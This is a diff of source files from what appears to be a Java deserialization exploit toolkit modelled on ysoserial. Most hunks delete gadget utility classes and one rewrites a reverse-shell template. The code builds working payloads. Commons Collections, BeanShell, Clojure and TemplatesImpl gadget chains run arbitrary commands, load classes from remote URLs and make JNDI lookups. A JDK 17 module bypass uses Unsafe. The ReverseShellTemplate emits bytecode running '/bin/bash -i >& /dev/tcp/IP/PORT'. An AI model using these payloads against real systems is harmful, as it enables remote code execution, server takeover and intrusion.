for (int j = 0; j < needle.length; ++j) {
|
||||
if (haystack[i + j] != needle[j]) {
|
||||
continue outer;
|
||||
}
|
||||
}
|
||||
return i;
|
||||
}
|
||||
|
||||
return -1;
|
||||
}
|
||||
|
||||
public static byte[] deleteAt(byte[] bs, int index) {
|
||||
int length = bs.length - 1;
|
||||
byte[] ret = new byte[length];
|
||||
|
||||
if (index == bs.length - 1) {
|
||||
System.arraycopy(bs, 0, ret, 0, length);
|
||||
} else if (index < bs.length - 1) {
|
||||
for (int i = index; i < length; i++) {
|
||||
bs[i] = bs[i + 1];
|
||||
}
|
||||
|
||||
System.arraycopy(bs, 0, ret, 0, length);
|
||||
}
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
}
|
||||
@@ -1,34 +0,0 @@
|
||||
package com.qi4l.JYso.gadgets.utils;
|
||||
|
||||
import java.io.EOFException;
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
|
||||
public class HexUtils {
|
||||
|
||||
public static byte[] toByteArray(InputStream in) throws IOException {
|
||||
byte[] classBytes;
|
||||
classBytes = new byte[in.available()];
|
||||
int bytesRead = in.read(classBytes);
|
||||
if (bytesRead == -1) {
|
||||
throw new EOFException("流已结束,未读取到数据");
|
||||
}
|
||||
in.close();
|
||||
return classBytes;
|
||||
}
|
||||
|
||||
public static String bytesToHexString(byte[] bArray, int length) {
|
||||
StringBuilder sb = new StringBuilder(length);
|
||||
|
||||
for (int i = 0; i < length; ++i) {
|
||||
String sTemp = Integer.toHexString(255 & bArray[i]);
|
||||
if (sTemp.length() < 2) {
|
||||
sb.append(0);
|
||||
}
|
||||
|
||||
sb.append(sTemp.toUpperCase());
|
||||
}
|
||||
return sb.toString();
|
||||
}
|
||||
|
||||
}
|
||||
@@ -1,25 +0,0 @@
|
||||
package com.qi4l.JYso.gadgets.utils;
|
||||
|
||||
import sun.rmi.transport.TransportConstants;
|
||||
|
||||
import java.io.BufferedOutputStream;
|
||||
import java.io.DataInputStream;
|
||||
import java.io.DataOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.OutputStream;
|
||||
import java.net.Socket;
|
||||
|
||||
public class JRMPUtils {
|
||||
|
||||
public static DataOutputStream handshake(DataInputStream in, Socket s) throws IOException {
|
||||
int magic = in.readInt();
|
||||
short version = in.readShort();
|
||||
if (magic != TransportConstants.Magic || version != TransportConstants.Version) {
|
||||
s.close();
|
||||
return null;
|
||||
}
|
||||
OutputStream sockOut = s.getOutputStream();
|
||||
BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);
|
||||
return new DataOutputStream(bufOut);
|
||||
}
|
||||
}
|
||||
@@ -1,21 +0,0 @@
|
||||
package com.qi4l.JYso.gadgets.utils;
|
||||
|
||||
import java.io.Serializable;
|
||||
import java.security.*;
|
||||
|
||||
/**
|
||||
* 二次反序列化
|
||||
*
|
||||
* @author QI4L
|
||||
*/
|
||||
public class SignedObjectUtils {
|
||||
public static SignedObject warpWithSignedObject(Serializable obj) throws Exception {
|
||||
KeyPairGenerator keyPairGenerator;
|
||||
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
|
||||
keyPairGenerator.initialize(1024);
|
||||
KeyPair keyPair = keyPairGenerator.genKeyPair();
|
||||
PrivateKey privateKey = keyPair.getPrivate();
|
||||
Signature signingEngine = Signature.getInstance("DSA");
|
||||
return new java.security.SignedObject(obj, privateKey, signingEngine);
|
||||
}
|
||||
}
|
||||
@@ -1,57 +0,0 @@
|
||||
package com.qi4l.JYso.gadgets.utils;
|
||||
|
||||
import java.util.Arrays;
|
||||
import java.util.Comparator;
|
||||
import java.util.LinkedList;
|
||||
import java.util.List;
|
||||
|
||||
public class StringUtil {
|
||||
|
||||
public static String join(Iterable<String> strings, String sep, String prefix, String suffix) {
|
||||
final StringBuilder sb = new StringBuilder();
|
||||
boolean first = true;
|
||||
for (String s : strings) {
|
||||
if (!first) sb.append(sep);
|
||||
if (prefix != null) sb.append(prefix);
|
||||
sb.append(s);
|
||||
if (suffix != null) sb.append(suffix);
|
||||
first = false;
|
||||
}
|
||||
return sb.toString();
|
||||
}
|
||||
|
||||
public static String repeat(String str, int num) {
|
||||
final String[] strs = new String[num];
|
||||
Arrays.fill(strs, str);
|
||||
return join(Arrays.asList(strs), "", "", "");
|
||||
}
|
||||
|
||||
public static List<String> formatTable(List<String[]> rows) {
|
||||
final Integer[] maxLengths = new Integer[rows.get(0).length];
|
||||
for (String[] row : rows) {
|
||||
if (maxLengths.length != row.length) throw new IllegalStateException("mismatched columns");
|
||||
for (int i = 0; i < maxLengths.length; i++) {
|
||||
if (maxLengths[i] == null || maxLengths[i] < row[i].length()) {
|
||||
maxLengths[i] = row[i].length();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
final List<String> lines = new LinkedList<>();
|
||||
for (String[] row : rows) {
|
||||
for (int i = 0; i < maxLengths.length; i++) {
|
||||
final String pad = repeat(" ", maxLengths[i] - row[i].length());
|
||||
row[i] = row[i] + pad;
|
||||
}
|
||||
lines.add(join(Arrays.asList(row), " ", "", ""));
|
||||
}
|
||||
return lines;
|
||||
}
|
||||
|
||||
public static class ToStringComparator implements Comparator<Object> {
|
||||
|
||||
public int compare(Object o1, Object o2) {
|
||||
return o1.toString().compareTo(o2.toString());
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,108 +0,0 @@
|
||||
package com.qi4l.JYso.gadgets.utils;
|
||||
|
||||
import com.sun.org.apache.xalan.internal.xsltc.DOM;
|
||||
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
|
||||
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
|
||||
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
|
||||
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
|
||||
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
|
||||
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
|
||||
import javassist.ClassClassPath;
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
|
||||
import java.io.Serializable;
|
||||
|
||||
import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET;
|
||||
|
||||
@SuppressWarnings({"unused"})
|
||||
public class TemplatesUtil {
|
||||
public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
|
||||
|
||||
static {
|
||||
// special case for using TemplatesImpl gadgets with a SecurityManager enabled
|
||||
System.setProperty(DESERIALIZE_TRANSLET, "true");
|
||||
|
||||
// for RMI remote loading
|
||||
System.setProperty("java.rmi.server.useCodebaseOnly", "false");
|
||||
}
|
||||
|
||||
public static Object createTemplatesImpl(final String[] args) throws Exception {
|
||||
if (Boolean.parseBoolean(System.getProperty("upstreamXalan", "false"))) {
|
||||
return createTemplatesImpl(
|
||||
args,
|
||||
Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
|
||||
Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
|
||||
Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
|
||||
}
|
||||
|
||||
return createTemplatesImpl(args, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
|
||||
}
|
||||
|
||||
public static <T> T createTemplatesImpl(final String[] args, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory)
|
||||
throws Exception {
|
||||
final T templates = tplClass.getDeclaredConstructor().newInstance();
|
||||
|
||||
// use template gadget class
|
||||
ClassPool pool = ClassPool.getDefault();
|
||||
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
|
||||
pool.insertClassPath(new ClassClassPath(abstTranslet));
|
||||
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
|
||||
// run command in static initializer
|
||||
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
|
||||
|
||||
StringBuilder sb = new StringBuilder();
|
||||
boolean first = true;
|
||||
for (String arg : args) {
|
||||
|
||||
if (!first) {
|
||||
sb.append(',');
|
||||
} else {
|
||||
first = false;
|
||||
}
|
||||
|
||||
sb.append('"');
|
||||
sb.append(arg.replaceAll("\"", "\""));
|
||||
sb.append('"');
|
||||
}
|
||||
|
||||
clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(new String[] { " + sb + " });");
|
||||
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
|
||||
clazz.setName("ysoserial.Pwner" + System.nanoTime());
|
||||
CtClass superC = pool.get(abstTranslet.getName());
|
||||
clazz.setSuperclass(superC);
|
||||
|
||||
final byte[] classBytes = clazz.toBytecode();
|
||||
|
||||
// inject class bytes into instance
|
||||
Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{
|
||||
classBytes, ClassFiles.classAsBytes(Foo.class)
|
||||
});
|
||||
|
||||
// required to make TemplatesImpl happy
|
||||
Reflections.setFieldValue(templates, "_name", "Pwnr");
|
||||
Reflections.setFieldValue(templates, "_tfactory", transFactory.getDeclaredConstructor().newInstance());
|
||||
return templates;
|
||||
}
|
||||
|
||||
public static class StubTransletPayload extends AbstractTranslet implements Serializable {
|
||||
|
||||
private static final long serialVersionUID = -5971610431559700674L;
|
||||
|
||||
|
||||
@Override
|
||||
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
|
||||
}
|
||||
|
||||
|
||||
@Override
|
||||
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
|
||||
}
|
||||
}
|
||||
|
||||
// required to make TemplatesImpl happy
|
||||
public static class Foo implements Serializable {
|
||||
|
||||
private static final long serialVersionUID = 8207363842866235160L;
|
||||
}
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,27 +0,0 @@
|
||||
package com.qi4l.JYso.gadgets.utils.beanshell;
|
||||
|
||||
import com.qi4l.JYso.gadgets.utils.StringUtil;
|
||||
import com.qi4l.JYso.gadgets.utils.Utils;
|
||||
|
||||
import java.util.Arrays;
|
||||
|
||||
public class BeanShellUtil {
|
||||
|
||||
public static String makeBeanShellPayload(String command) {
|
||||
if (command.startsWith("TS-"))
|
||||
return "compare(Object QI4L, Object QI5L) { return new Integer(1);}java.lang.Thread.sleep(" + (Integer.parseInt(command.split("-")[1]) * 1000) + "L);";
|
||||
if (command.startsWith("RC-")) {
|
||||
String[] strings = Utils.handlerCommand(command);
|
||||
return "compare(Object QI4L, Object QI5L) { return new Integer(1);}new URLClassLoader(new URL[]{new URL(\"" + strings[0] + "\")}).loadClass(\"" + strings[1] + "\").newInstance();";
|
||||
}
|
||||
if (command.startsWith("WF-")) {
|
||||
String[] strings = Utils.handlerCommand(command);
|
||||
return "compare(Object QI4L, Object QI5L) { return new Integer(1);}new java.io.FileOutputStream(\"" + strings[0] + "\").write(\"" + strings[1] + "\".getObject());";
|
||||
}
|
||||
|
||||
return "compare(Object QI4L, Object QI5L) {new java.lang.ProcessBuilder(new String[]{" +
|
||||
StringUtil.join(
|
||||
Arrays.asList(command.replaceAll("\\\\", "\\\\\\\\").replaceAll("\"", "\"").split(" ")), ",", "\"", "\"") + "}).start();return new Integer(1);}";
|
||||
}
|
||||
|
||||
}
|
||||
@@ -1,76 +0,0 @@
|
||||
package com.qi4l.JYso.gadgets.utils.cc;
|
||||
|
||||
import com.qi4l.JYso.gadgets.utils.Utils;
|
||||
import javassist.CtClass;
|
||||
import org.apache.commons.collections.Transformer;
|
||||
import org.apache.commons.collections.functors.ConstantTransformer;
|
||||
import org.apache.commons.collections.functors.InstantiateTransformer;
|
||||
import org.apache.commons.collections.functors.InvokerTransformer;
|
||||
|
||||
import javax.script.ScriptEngineManager;
|
||||
import java.io.FileOutputStream;
|
||||
import java.net.URL;
|
||||
import java.net.URLClassLoader;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.Config.Config.USING_MOZILLA_DEFININGCLASSLOADER;
|
||||
import static com.qi4l.JYso.gadgets.utils.Utils.base64Decode;
|
||||
import static com.qi4l.JYso.gadgets.utils.Utils.handlerCommand;
|
||||
import static com.qi4l.JYso.gadgets.utils.handle.GlassHandler.generateClass;
|
||||
|
||||
public class TransformerUtil {
|
||||
|
||||
public static Transformer[] makeTransformer(String command) throws Exception {
|
||||
Transformer[] transformers;
|
||||
String[] execArgs = {command};
|
||||
|
||||
if (command.startsWith("TS-")) {
|
||||
transformers = new Transformer[]{new ConstantTransformer(Thread.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"currentThread", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("sleep", new Class[]{long.class}, new Object[]{Long.parseLong(command.split("-")[1] + "000")}),};
|
||||
} else if (command.startsWith("RC-")) {
|
||||
String[] strings = handlerCommand(command);
|
||||
transformers = new Transformer[]{new ConstantTransformer(URLClassLoader.class), new InstantiateTransformer(new Class[]{URL[].class}, new Object[]{new URL[]{new URL(strings[0])}}), new InvokerTransformer("loadClass", new Class[]{String.class}, new Object[]{strings[1]}), new InstantiateTransformer(null, null)};
|
||||
} else if (command.startsWith("WF-")) {
|
||||
String[] strings = handlerCommand(command);
|
||||
transformers = new Transformer[]{new ConstantTransformer(FileOutputStream.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{String.class}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{strings[0]}}), new InvokerTransformer("write", new Class[]{byte[].class}, new Object[]{base64Decode(strings[1]).getBytes()}), new ConstantTransformer(1)};
|
||||
} else if (command.startsWith("PB-lin")) {
|
||||
transformers = new Transformer[]{new ConstantTransformer(ProcessBuilder.class), new InvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{String[].class}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{new String[]{"bash", "-c", base64Decode(command.split("-")[2])}}}), new InvokerTransformer("start", new Class[]{}, new Object[]{})};
|
||||
} else if (command.startsWith("PB-win")) {
|
||||
transformers = new Transformer[]{new ConstantTransformer(ProcessBuilder.class), new InvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{String[].class}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{new String[]{"cmd.exe", "/c", base64Decode(command.split("-")[2])}}}), new InvokerTransformer("start", new Class[]{}, new Object[]{})};
|
||||
} else if (command.startsWith("SE-")) {
|
||||
transformers = new Transformer[]{new ConstantTransformer(ScriptEngineManager.class), new InvokerTransformer("newInstance", new Class[0], new Object[0]), new InvokerTransformer("getEngineByName", new Class[]{String.class}, new Object[]{"js"}), new InvokerTransformer("eval", new Class[]{String.class}, new Object[]{"java.lang.Runtime.getRuntime().exec('" + base64Decode(command.split("-")[1]) + "');"})};
|
||||
} else if (command.startsWith("DL-")) {
|
||||
transformers = new Transformer[]{new ConstantTransformer(java.net.InetAddress.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getAllByName", new Class[]{String.class}}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{command.split("-")[1]}}), new ConstantTransformer(1)};
|
||||
} else if (command.startsWith("HL-")) {
|
||||
transformers = new Transformer[]{new ConstantTransformer(java.net.URL.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{String.class}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{command.split("-")[1]}}), new InvokerTransformer("getContent", new Class[0], new Object[0]), new ConstantTransformer(1)};
|
||||
} else if (command.startsWith("BC-")) {
|
||||
command = command.substring(3);
|
||||
String bcelBytes;
|
||||
|
||||
// 对 BCEL 也支持 LF 扩展功能
|
||||
if (command.startsWith("LF-")) {
|
||||
CtClass ctClass = generateClass(command);
|
||||
bcelBytes = Utils.generateBCELFormClassBytes(Utils.encapsulationByClassLoaderTemplate(ctClass.toBytecode()).toBytecode());
|
||||
} else {
|
||||
bcelBytes = command;
|
||||
}
|
||||
|
||||
transformers = new Transformer[]{new ConstantTransformer(com.sun.org.apache.bcel.internal.util.ClassLoader.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new String[]{}}), new InvokerTransformer("loadClass", new Class[]{String.class}, new Object[]{bcelBytes}), new InvokerTransformer("newInstance", new Class[0], new Object[0]), new ConstantTransformer(1)};
|
||||
} else if (command.startsWith("JD-")) {
|
||||
transformers = new Transformer[]{new ConstantTransformer(javax.naming.InitialContext.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}), new InvokerTransformer("lookup", new Class[]{String.class}, new Object[]{command.split("-")[1]}), new ConstantTransformer(1)};
|
||||
} else if (command.startsWith("LF-")) {
|
||||
CtClass ctClass = generateClass(command);
|
||||
|
||||
if (USING_MOZILLA_DEFININGCLASSLOADER) {
|
||||
// 使用 DefiningClassLoader 加载,不是所有 JDK 均有 org.mozilla.javascript.DefiningClassLoader
|
||||
// 在 NC 中可以使用
|
||||
transformers = new Transformer[]{new ConstantTransformer(org.mozilla.javascript.DefiningClassLoader.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}), new InvokerTransformer("defineClass", new Class[]{String.class, byte[].class}, new Object[]{ctClass.getName(), ctClass.toBytecode()}), new InvokerTransformer("newInstance", new Class[0], new Object[0]), new ConstantTransformer(1)};
|
||||
} else {
|
||||
// 使用 ScriptEngineManager JS eval 加载
|
||||
transformers = new Transformer[]{new ConstantTransformer(ScriptEngineManager.class), new InvokerTransformer("newInstance", new Class[0], new Object[0]), new InvokerTransformer("getEngineByName", new Class[]{String.class}, new Object[]{"JavaScript"}), new InvokerTransformer("eval", new Class[]{String.class}, new Object[]{Utils.getJSEngineValue(Utils.encapsulationByClassLoaderTemplate(ctClass.toBytecode()).toBytecode())})};
|
||||
}
|
||||
} else {
|
||||
transformers = new Transformer[]{new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, execArgs), new ConstantTransformer(1)};
|
||||
}
|
||||
return transformers;
|
||||
}
|
||||
|
||||
}
|
||||
@@ -1,25 +0,0 @@
|
||||
package com.qi4l.JYso.gadgets.utils.clojure;
|
||||
|
||||
import com.qi4l.JYso.gadgets.utils.StringUtil;
|
||||
import com.qi4l.JYso.gadgets.utils.Utils;
|
||||
|
||||
import java.util.Arrays;
|
||||
|
||||
public class ClojureUtil {
|
||||
|
||||
public static String makeClojurePayload(String command) {
|
||||
if (command.startsWith("TS-"))
|
||||
return "(java.lang.Thread/sleep " + (Integer.parseInt(command.split("-")[1]) * 1000) + ")";
|
||||
if (command.startsWith("RC-")) {
|
||||
String[] strings = Utils.handlerCommand(command);
|
||||
return "(def urlStr (new String \"" + strings[0] + "\"))\n(def url (new java.net.URL urlStr))\n(def loader (new java.net.URLClassLoader (into-array [url])))\n(def clazz (.loadClass loader \"" + strings[1] + "\"))\n(.newInstance clazz)";
|
||||
}
|
||||
if (command.startsWith("WF-")) {
|
||||
String[] strings = Utils.handlerCommand(command);
|
||||
return "(def path (new String \"" + strings[0] + "\"))\n(def out (new java.io.FileOutputStream path))\n(def byts (.getObject \"" + strings[1] + "\"))\n(.write out byts)";
|
||||
}
|
||||
String cmd = StringUtil.join(Arrays.asList(command.replaceAll("\\\\", "\\\\\\\\").replaceAll("\"", "\\").split(" ")), " ", "\"", "\"");
|
||||
return String.format("(use '[clojure.java.shell :only [sh]]) (sh %s)(println \"QI4L\")", cmd);
|
||||
}
|
||||
|
||||
}
|
||||
@@ -1,71 +1,71 @@
|
||||
package com.qi4l.JYso.gadgets.utils;
|
||||
|
||||
import org.apache.logging.log4j.Logger;
|
||||
import org.apache.logging.log4j.LogManager;
|
||||
import sun.misc.Unsafe;
|
||||
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
|
||||
@SuppressWarnings({"unused"})
|
||||
public class jdk17Bypass {
|
||||
private static final Logger log = LogManager.getLogger(jdk17Bypass.class);
|
||||
|
||||
private static Method getMethod(Class<?> clazz, String methodName, Class<?>[] params) {
|
||||
Method method = null;
|
||||
while (clazz != null) {
|
||||
try {
|
||||
method = clazz.getDeclaredMethod(methodName, params);
|
||||
break;
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
return method;
|
||||
}
|
||||
|
||||
private static Unsafe getUnsafe() {
|
||||
Unsafe unsafe;
|
||||
try {
|
||||
Field field = Unsafe.class.getDeclaredField("theUnsafe");
|
||||
field.setAccessible(true);
|
||||
unsafe = (Unsafe) field.get(null);
|
||||
} catch (Exception e) {
|
||||
throw new AssertionError(e);
|
||||
}
|
||||
return unsafe;
|
||||
}
|
||||
|
||||
public static void patchModule(Class<?> clazz, Class<?> goalclass) {
|
||||
try {
|
||||
Class<?> UnsafeClass = Class.forName("sun.misc.Unsafe");
|
||||
Field unsafeField = UnsafeClass.getDeclaredField("theUnsafe");
|
||||
unsafeField.setAccessible(true);
|
||||
Unsafe unsafe = (Unsafe) unsafeField.get(null);
|
||||
Object ObjectModule = Class.class.getMethod("getModule").invoke(goalclass);
|
||||
long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
|
||||
unsafe.getAndSetObject(clazz, addr, ObjectModule);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
public void bypassModule(ArrayList<Class<?>> classes) {
|
||||
try {
|
||||
Unsafe unsafe = getUnsafe();
|
||||
Class<?> currentClass = this.getClass();
|
||||
try {
|
||||
Method getModuleMethod = getMethod(Class.class, "getModule", new Class[0]);
|
||||
if (getModuleMethod != null) {
|
||||
for (Class<?> aClass : classes) {
|
||||
Object targetModule = getModuleMethod.invoke(aClass);
|
||||
unsafe.getAndSetObject(currentClass, unsafe.objectFieldOffset(Class.class.getDeclaredField("module")), targetModule);
|
||||
}
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
} catch (Exception e) {
|
||||
log.error("e: ", e);
|
||||
}
|
||||
}
|
||||
}
|
||||
package com.qi4l.JYso.gadgets.utils;
|
||||
|
||||
import org.apache.logging.log4j.Logger;
|
||||
import org.apache.logging.log4j.LogManager;
|
||||
import sun.misc.Unsafe;
|
||||
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
|
||||
@SuppressWarnings({"unused"})
|
||||
public class jdk17Bypass {
|
||||
private static final Logger log = LogManager.getLogger(jdk17Bypass.class);
|
||||
|
||||
private static Method getMethod(Class<?> clazz, String methodName, Class<?>[] params) {
|
||||
Method method = null;
|
||||
while (clazz != null) {
|
||||
try {
|
||||
method = clazz.getDeclaredMethod(methodName, params);
|
||||
break;
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
return method;
|
||||
}
|
||||
|
||||
private static Unsafe getUnsafe() {
|
||||
Unsafe unsafe;
|
||||
try {
|
||||
Field field = Unsafe.class.getDeclaredField("theUnsafe");
|
||||
field.setAccessible(true);
|
||||
unsafe = (Unsafe) field.get(null);
|
||||
} catch (Exception e) {
|
||||
throw new AssertionError(e);
|
||||
}
|
||||
return unsafe;
|
||||
}
|
||||
|
||||
public static void patchModule(Class<?> clazz, Class<?> goalclass) {
|
||||
try {
|
||||
Class<?> UnsafeClass = Class.forName("sun.misc.Unsafe");
|
||||
Field unsafeField = UnsafeClass.getDeclaredField("theUnsafe");
|
||||
unsafeField.setAccessible(true);
|
||||
Unsafe unsafe = (Unsafe) unsafeField.get(null);
|
||||
Object ObjectModule = Class.class.getMethod("getModule").invoke(goalclass);
|
||||
long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
|
||||
unsafe.getAndSetObject(clazz, addr, ObjectModule);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
public void bypassModule(ArrayList<Class<?>> classes) {
|
||||
try {
|
||||
Unsafe unsafe = getUnsafe();
|
||||
Class<?> currentClass = this.getClass();
|
||||
try {
|
||||
Method getModuleMethod = getMethod(Class.class, "getModule", new Class[0]);
|
||||
if (getModuleMethod != null) {
|
||||
for (Class<?> aClass : classes) {
|
||||
Object targetModule = getModuleMethod.invoke(aClass);
|
||||
unsafe.getAndSetObject(currentClass, unsafe.objectFieldOffset(Class.class.getDeclaredField("module")), targetModule);
|
||||
}
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
} catch (Exception e) {
|
||||
log.error("e: ", e);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,22 +0,0 @@
|
||||
package com.qi4l.JYso.gadgets.utils.jre;
|
||||
|
||||
import java.lang.reflect.InvocationHandler;
|
||||
|
||||
public class Util {
|
||||
|
||||
public static TCObject makeProxy(Class<?>[] interfaces, TCObject handler, Serialization ser) throws Exception {
|
||||
return doMakeProxy(interfaces, handler, ser);
|
||||
}
|
||||
|
||||
private static TCObject doMakeProxy(Class<?>[] interfaces, Object handler, Serialization ser) throws Exception {
|
||||
TCObject proxy = new TCObject(ser);
|
||||
TCProxyClassDesc proxyDesc = new TCProxyClassDesc();
|
||||
for (Class<?> intf : interfaces)
|
||||
proxyDesc.addInterface(intf);
|
||||
TCClassDesc desc = new TCClassDesc("java.lang.reflect.Proxy");
|
||||
desc.addField(new TCClassDesc.Field("h", InvocationHandler.class));
|
||||
proxy.addClassDescData(proxyDesc, new TCObject.ObjectData());
|
||||
proxy.addClassDescData(desc, (new TCObject.ObjectData()).addData(handler));
|
||||
return proxy;
|
||||
}
|
||||
}
|
||||
@@ -6,24 +6,22 @@ import org.objectweb.asm.*;
|
||||
import static org.objectweb.asm.Opcodes.*;
|
||||
|
||||
public class ReverseShellTemplate implements Template {
|
||||
private String className;
|
||||
private final String className;
|
||||
private byte[] bytes;
|
||||
private final String ip;
|
||||
private final int port;
|
||||
|
||||
|
||||
public ReverseShellTemplate(String ip, int port) {
|
||||
this.ip = ip;
|
||||
this.port = port;
|
||||
this.className = "Exploit" + Utils.getRandomString();
|
||||
|
||||
generate();
|
||||
}
|
||||
|
||||
public ReverseShellTemplate(String ip, String port, String className) {
|
||||
this(ip, Integer.parseInt(port));
|
||||
this.ip = ip;
|
||||
this.port = Integer.parseInt(port);
|
||||
this.className = className;
|
||||
|
||||
generate();
|
||||
}
|
||||
|
||||
@@ -39,122 +37,84 @@ public class ReverseShellTemplate implements Template {
|
||||
|
||||
@Override
|
||||
public void generate() {
|
||||
ClassWriter cw = new ClassWriter(0);
|
||||
FieldVisitor fv;
|
||||
MethodVisitor mv;
|
||||
ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES);
|
||||
|
||||
cw.visit(V1_6, ACC_PUBLIC + ACC_SUPER, className, null, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", null);
|
||||
cw.visit(V1_6, ACC_PUBLIC | ACC_SUPER, className, null,
|
||||
"com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", null);
|
||||
|
||||
cw.visitField(ACC_PRIVATE, "ip", "Ljava/lang/String;", null, null).visitEnd();
|
||||
cw.visitField(ACC_PRIVATE, "port", "I", null, null).visitEnd();
|
||||
|
||||
MethodVisitor mv = cw.visitMethod(ACC_PUBLIC, "<init>", "()V", null, null);
|
||||
mv.visitCode();
|
||||
Label startTry = new Label();
|
||||
Label endTry = new Label();
|
||||
Label catchBlock = new Label();
|
||||
mv.visitTryCatchBlock(startTry, endTry, catchBlock, "java/lang/Exception");
|
||||
|
||||
mv.visitVarInsn(ALOAD, 0);
|
||||
mv.visitMethodInsn(INVOKESPECIAL,
|
||||
"com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet",
|
||||
"<init>", "()V", false);
|
||||
|
||||
mv.visitFieldInsn(GETSTATIC, "java/io/File", "separator", "Ljava/lang/String;");
|
||||
mv.visitLdcInsn("/");
|
||||
mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/String", "equals",
|
||||
"(Ljava/lang/Object;)Z", false);
|
||||
Label unixBlock = new Label();
|
||||
mv.visitJumpInsn(IFEQ, unixBlock);
|
||||
|
||||
mv.visitInsn(ICONST_3);
|
||||
mv.visitTypeInsn(ANEWARRAY, "java/lang/String");
|
||||
mv.visitInsn(DUP);
|
||||
mv.visitInsn(ICONST_0);
|
||||
mv.visitLdcInsn("/bin/bash");
|
||||
mv.visitInsn(AASTORE);
|
||||
mv.visitInsn(DUP);
|
||||
mv.visitInsn(ICONST_1);
|
||||
mv.visitLdcInsn("-c");
|
||||
mv.visitInsn(AASTORE);
|
||||
mv.visitInsn(DUP);
|
||||
mv.visitInsn(ICONST_2);
|
||||
mv.visitLdcInsn("/bin/bash -i >& /dev/tcp/" + ip + "/" + port + " 0>&1");
|
||||
mv.visitInsn(AASTORE);
|
||||
mv.visitVarInsn(ASTORE, 1);
|
||||
|
||||
mv.visitLabel(startTry);
|
||||
mv.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime",
|
||||
"()Ljava/lang/Runtime;", false);
|
||||
mv.visitVarInsn(ALOAD, 1);
|
||||
